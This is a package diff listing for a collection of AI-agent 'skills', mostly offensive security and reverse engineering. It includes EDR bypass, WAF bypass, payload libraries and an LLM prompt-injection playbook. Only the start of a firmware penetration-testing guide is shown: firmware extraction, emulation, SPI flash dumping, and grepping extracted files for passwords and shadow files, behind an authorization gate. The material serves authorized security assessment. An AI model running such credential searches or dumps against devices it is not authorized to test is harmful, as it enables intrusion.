opencode-skills-collection 4.0.43 → 4.0.45

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (270) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +47 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  95. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  96. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  97. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  98. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  99. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  100. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  101. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  102. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  103. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  104. package/bundled-skills/muapi-media/SKILL.md +311 -0
  105. package/bundled-skills/ot-ics/SKILL.md +117 -0
  106. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  107. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  108. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  109. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  110. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  111. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  112. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  113. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  114. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  115. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  116. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  117. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  118. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  119. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  120. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  121. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  122. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  123. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  124. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  125. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  126. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  127. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  128. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  129. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  130. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  131. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  132. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  133. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  134. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  135. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  136. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  137. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  138. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  139. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  140. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  141. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  142. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  143. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  144. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  145. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  146. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  147. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  148. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  149. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  218. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  219. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  220. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  221. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  222. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  223. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  224. package/bundled-skills/radare2/SKILL.md +460 -0
  225. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  226. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  227. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  228. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  229. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  230. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  231. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  232. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  233. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  234. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  235. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  236. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  237. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  238. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  239. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  240. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  241. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  242. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  243. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  244. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  245. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  246. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  247. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  248. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  249. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  250. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  251. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  252. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  253. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  254. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  255. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  256. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  257. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  258. package/bundled-skills/thick-client/SKILL.md +104 -0
  259. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  260. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  261. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  262. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  263. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  264. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  265. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  266. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  267. package/bundled-skills/windows-ad/SKILL.md +109 -0
  268. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  269. package/package.json +1 -1
  270. package/skills_index.json +1214 -2
@@ -0,0 +1,381 @@
1
+ ---
2
+ name: firmware-pentest
3
+ description: "Firmware penetration testing following the OWASP FSTM nine-stage flow: extraction, EMBA automation, Firmadyne/QEMU emulation, AFL++ fuzzing, and hands-on exploitation in authorized labs."
4
+ risk: offensive
5
+ source: "https://github.com/zhaoxuya520/reverse-skill"
6
+ source_repo: "zhaoxuya520/reverse-skill"
7
+ source_type: community
8
+ date_added: "2026-08-25"
9
+ license: "MIT"
10
+ license_source: "https://github.com/zhaoxuya520/reverse-skill/blob/main/LICENSE"
11
+ ---
12
+ > **⚠️ AUTHORIZED USE ONLY**
13
+ > This skill is for educational purposes or authorized security assessments only.
14
+ > You must have explicit, written permission from the system owner before using this tool.
15
+ > Misuse of this tool is illegal and strictly prohibited.
16
+
17
+ > **Mandatory confirmation gate**
18
+ > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
19
+ > 1. Ask the user to state the exact target URL, IP, account, or resource.
20
+ > 2. Ask the user to confirm written authorization and the permitted scope.
21
+ > 3. Show the exact command(s) and explain their expected effect.
22
+ > 4. Wait for explicit confirmation in the current conversation.
23
+ >
24
+ > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
25
+
26
+ # 固件 / IoT 渗透链 (Firmware Pentest)
27
+ ## When to Use
28
+
29
+ - Assessing device firmware within an authorized engagement.
30
+ - Building an emulated environment for repeatable firmware analysis.
31
+
32
+
33
+ ## 适用范围
34
+
35
+ 下列任务进入本 skill:
36
+
37
+ 1. **拿到一份固件文件**(.bin / .img / .trx / .chk / OTA zip),需要从零到 RCE
38
+ 2. **路由器/摄像头/IoT 设备审计** — 需要批量发现已知 CVE 和未公开漏洞
39
+ 3. **加密/打包固件**,需要找 bootloader 解密例程或硬件 dump
40
+ 4. **需要在不接触硬件的情况下跑起来**(QEMU 全系统仿真 / Firmadyne / FAT)
41
+ 5. **对仿真起来的服务做 fuzz**(AFL++ qemu mode / boofuzz)
42
+ 6. **硬件接口接入**(UART / JTAG / SPI flash dump)
43
+
44
+ ### 与其他 skill 分工
45
+
46
+ | 场景 | 用什么 |
47
+ |------|--------|
48
+ | 从零拿到固件,全链路走 FSTM | **本 skill** |
49
+ | 只做单个 ELF/so 静态逆向 | `reverse-engineering/`、`ida-reverse/`、`radare2/` |
50
+ | 仿真起来后做 Web/RCE 利用 | `pentest-tools/`、`attack-chain/` |
51
+ | 硬件接口(UART/JTAG/SPI)实操 | 本 skill 的 Stage 2 章节 + `patterns-hardware.md` |
52
+ | APK / Android 固件(含 boot.img) | `apk-reverse/`(先剥 boot.img 再用本 skill) |
53
+ | 跨版本固件符号迁移 | `binary-diff/` |
54
+
55
+ ## 核心原理
56
+
57
+ ```text
58
+ 固件 .bin
59
+
60
+ ├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
61
+
62
+ ├─ Stage 4: 提取文件系统 ← binwalk v3 / unblob / jefferson / ubi_reader
63
+ │ │
64
+ │ └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
65
+
66
+ ├─ Stage 5: 文件系统静态分析 ← EMBA 自动化 + 手工 grep
67
+
68
+ ├─ Stage 6: 模拟运行 ← Firmadyne / FAT / qemu-user-static + chroot
69
+
70
+ ├─ Stage 7-8: 动态 / 运行时分析 ← gdb-multiarch、IDA 远程调试、Ghidra
71
+
72
+ └─ Stage 9: 二进制利用 ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload
73
+ ```
74
+
75
+ 关键判断:
76
+ - 提取失败不等于固件加密,先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
77
+ - EMBA 一行命令出 HTML 报告,能省 80% 体力,剩 20% 是真正的漏洞挖掘
78
+ - 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、`/dev/` 节点缺失
79
+ - ARM / MIPS payload 必须区分大小端(mipsel vs mipseb),别用错
80
+
81
+ ## OWASP FSTM 九阶段工作流
82
+
83
+ ### Stage 1 — 信息收集(Information Gathering)
84
+
85
+ 收集型号、芯片、SDK、已公开 CVE。
86
+
87
+ ```bash
88
+ # FCC ID 查询(美区设备)
89
+ curl -s "https://fccid.io/?q=$FCC_ID"
90
+
91
+ # 芯片识别参考点
92
+ echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
93
+ ```
94
+
95
+ 输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。
96
+
97
+ ### Stage 2 — 获取固件(Obtaining Firmware)
98
+
99
+ 四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。
100
+
101
+ ```bash
102
+ # OTA 抓包后批量下载
103
+ mitmdump -s save_response.py
104
+
105
+ # UART 接入(USB-TTL,常用波特率 57600 / 115200)
106
+ picocom -b 115200 /dev/ttyUSB0
107
+
108
+ # SPI flash 用 CH341A + flashrom 读
109
+ flashrom -p ch341a_spi -r dump.bin
110
+ ```
111
+
112
+ ### Stage 3 — 分析固件(Analyzing Firmware)
113
+
114
+ 不解压先看头部、熵、字符串、可识别签名。
115
+
116
+ ```bash
117
+ binwalk firmware.bin # magic 扫描
118
+ binwalk -E firmware.bin # 熵图,高熵段=压缩/加密
119
+ strings -n 8 firmware.bin | less # banner / 内核版本 / 路径
120
+ file firmware.bin
121
+ hexdump -C firmware.bin | head -64
122
+ ```
123
+
124
+ ### Stage 4 — 提取文件系统(Extracting Filesystem)
125
+
126
+ 详见 `references/extraction-methodology.md`。
127
+
128
+ ```bash
129
+ binwalk -eM firmware.bin # 递归提取
130
+ unblob -d out/ firmware.bin # 处理 binwalk 失败的格式
131
+ jefferson rootfs.jffs2 -d rootfs/ # JFFS2
132
+ ubireader_extract_files rootfs.ubi # UBI
133
+ ```
134
+
135
+ ### Stage 5 — 静态分析文件系统(Filesystem Analysis)
136
+
137
+ EMBA 一键扫,详见 `references/emba-automated-analysis.md`。
138
+
139
+ ```bash
140
+ sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
141
+ ```
142
+
143
+ 手工补:
144
+
145
+ ```bash
146
+ grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
147
+ find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
148
+ checksec --file=squashfs-root/usr/sbin/httpd
149
+ ```
150
+
151
+ ### Stage 6 — 模拟运行(Emulating Firmware)
152
+
153
+ 详见 `references/emulation-and-fuzz.md`。
154
+
155
+ ```bash
156
+ # 用户态:跑单个 binary
157
+ qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
158
+
159
+ # 全系统:FAT(Firmadyne 封装版)
160
+ sudo fat.py firmware.bin
161
+ ```
162
+
163
+ ### Stage 7 — 动态分析(Dynamic Analysis)
164
+
165
+ 仿真起来后挂调试器、抓流量、跑 fuzz。
166
+
167
+ ```bash
168
+ # gdb 远程调试 MIPS
169
